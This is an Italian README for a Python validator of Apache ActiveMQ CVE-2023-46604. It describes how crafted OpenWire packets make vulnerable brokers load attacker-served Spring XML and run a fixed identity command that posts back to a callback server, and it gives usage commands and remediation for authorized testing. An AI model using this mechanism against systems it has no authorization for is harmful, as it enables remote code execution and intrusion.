
Validator non distruttivo per Apache ActiveMQ CVE-2023-46604. Invia pacchetti OpenWire appositamente costruiti, utilizza un server di callback HTTP per confermare RCE o caricamento XML e genera prove in formato CSV/JSON per test di penetrazione autorizzati.
Un validatore non distruttivo in un singolo file per Apache ActiveMQ CVE-2023-46604. Avvia il proprio server di callback HTTP, genera in memoria XML Spring specifico per il target, invia il pacchetto OpenWire appositamente costruito, correla i callback con token univoci e scrive prove in CSV/JSON.
Il progetto è progettato per test di penetrazione autorizzati e validazione di flotte. Deliberatamente non implementa reverse shell, esecuzione di comandi senza restrizioni, espansione CIDR, persistenza o staging di payload.
Sono disponibili due modalità di prova fisse:
rce esegue una sonda di identità fissa, di sola lettura, e restituisce il suo output al server HTTP integrato. Un callback conferma l'esecuzione di comandi del sistema operativo nel contesto del servizio ActiveMQ.xml serve un contesto Spring vuoto. Un fetch conferma che il messaggio OpenWire appositamente costruito ha causato l'istanziazione di ClassPathXmlApplicationContext da parte del target e il recupero di XML controllato dall'attaccante, senza avviare un processo.Non è necessario creare o ospitare separatamente file XML.
--fail-on-vuln adatto alla CILa porta OpenWire predefinita è 61616, ma sono supportate porte non predefinite.
Negli esempi utilizzare indirizzi solo a scopo documentale; sostituirli con i propri asset autorizzati.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Lo script avvia automaticamente il server di callback su TCP/8000, serve l'XML generato, invia il pacchetto OpenWire, attende le prove, stampa una tabella dei risultati e scrive:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Creare targets.txt:
# Un host esplicitamente autorizzato per riga
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Eseguire:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
I file dei target possono contenere righe vuote e commenti che iniziano con #. L'espansione CIDR non è supportata intenzionalmente; enumerare esplicitamente l'inventario autorizzato.
Per reti instradate semplici, omettere --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
Lo strumento seleziona l'indirizzo sorgente locale utilizzato per instradare verso il primo target. Specificare --callback-host quando si testa attraverso NAT, VPN, container, host di salto o sistemi multi-homed.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
La sonda Windows utilizza un comando PowerShell fisso e non interattivo per restituire l'identità del servizio, il nome del computer e la versione del sistema operativo. Non fornisce una shell interattiva.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Questa modalità non istanzia ProcessBuilder.
Utilizzare un target ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Per un listener interno con certificato non attendibile:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify influisce solo sulla connessione TLS OpenWire. Il server di callback è HTTP.
| Stato | Significato |
|---|---|
CONFIRMED_VULNERABLE_RCE | Il target ha recuperato il proprio XML e il comando di identità fisso ha restituito prove. |
CONFIRMED_VULNERABLE_XML_LOAD | In modalità xml, il target ha recuperato il documento XML univoco. |
VULNERABLE_XML_LOAD_ONLY | In modalità rce, il recupero XML è avvenuto ma il callback del comando non si è verificato. Il percorso di istanziazione della classe vulnerabile è confermato; gli strumenti di callback, l'egress o l'esecuzione di processi potrebbero essere limitati. |
NOT_CONFIRMED | Il pacchetto è stato inviato, ma nessuna prova HTTP correlata è arrivata prima della scadenza. Questo non è una prova che l'host sia stato aggiornato. |
UNREACHABLE | La connessione TCP/TLS o l'invio del pacchetto non sono riusciti. |
Un broker aggiornato, una porta errata, il filtraggio dell'egress, problemi di instradamento, una mancata corrispondenza TLS e i controlli degli endpoint possono tutti influenzare la validazione basata su callback. Conservare i timestamp CSV/JSON e l'output dei callback come prove per il report.
La sonda di identità Linux restituisce un output simile a:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Prova curl, wget e BusyBox wget per la POST HTTP. Se l'XML viene recuperato ma nessuno di questi client è disponibile, il risultato è VULNERABLE_XML_LOAD_ONLY anziché un falso negativo.
0: la validazione è stata completata, oppure sono state trovate vulnerabilità senza --fail-on-vuln2: è stato trovato almeno un risultato vulnerabile ed è stato fornito --fail-on-vulnEsempio di utilizzo in CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 riguarda l'unmarshalling OpenWire in Java. Il validatore invia una ExceptionResponse OpenWire con marshalling lasco la cui classe di eccezione è:
org.springframework.context.support.ClassPathXmlApplicationContext
Il messaggio di eccezione è l'URL univoco dell'XML Spring generato. Il codice ActiveMQ vulnerabile istanzia la classe selezionata dall'attaccante con quell'URL. In modalità rce, il contesto Spring avvia una sonda ProcessBuilder fissa; in modalità xml, il contesto è vuoto.
Ogni target riceve un token diverso, ad esempio:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Ciò consente di attribuire i callback concorrenti al target corretto.
--authorized Riconoscimento di autorizzazione richiesto
-t, --target VALUE Target esplicito; ripetibile
-T, --targets-file FILE Un target esplicito per riga; ripetibile
--default-port PORT Predefinito 61616
--tls Utilizza TLS per tutti i target
--tls-no-verify Disabilita la validazione del certificato TLS OpenWire
--callback-host HOST Indirizzo che i target utilizzano per i callback HTTP
--bind-host HOST Indirizzo di bind HTTP locale; predefinito 0.0.0.0
--http-port PORT Porta HTTP locale; predefinita 8000; 0 seleziona una porta libera
--proof rce|xml Modalità di prova fissa; predefinita rce
--platform linux|windows Sistema operativo target per la modalità RCE; predefinito linux
--workers N Worker paralleli; massimo 32
--connect-timeout SECONDS Timeout TCP/TLS
--wait SECONDS Finestra di raccolta dei callback
--retries N Da uno a tre tentativi di invio del pacchetto
--retry-delay SECONDS Ritardo tra i tentativi
-o, --output FILE Destinazione delle prove CSV
--json-output FILE Destinazione JSON opzionale
--verbose Mostra i log delle richieste HTTP
--fail-on-vuln Esce con codice 2 quando viene trovato un risultato vulnerabile
python3 -m unittest discover -s tests -v
I test verificano l'analisi dei target, il rifiuto CIDR, la corretta formazione dell'XML e la struttura del frame OpenWire senza contattare alcun target.
Aggiornare ActiveMQ a una versione corretta e attualmente supportata. L'avviso Apache ha identificato le versioni corrette per i rami allora correnti come ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 e 6.0.0, e Artemis 2.31.2. Limitare inoltre i listener OpenWire ai client attendibili e monitorare il recupero XML in uscita inatteso.
Questo repository è per la validazione difensiva e le valutazioni di sicurezza autorizzate. Omette intenzionalmente:
--commandLa sonda di identità fissa è sufficiente per dimostrare l'esecuzione remota di comandi e l'impatto sull'account di servizio senza stabilire un accesso interattivo.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. Vedere LICENSE.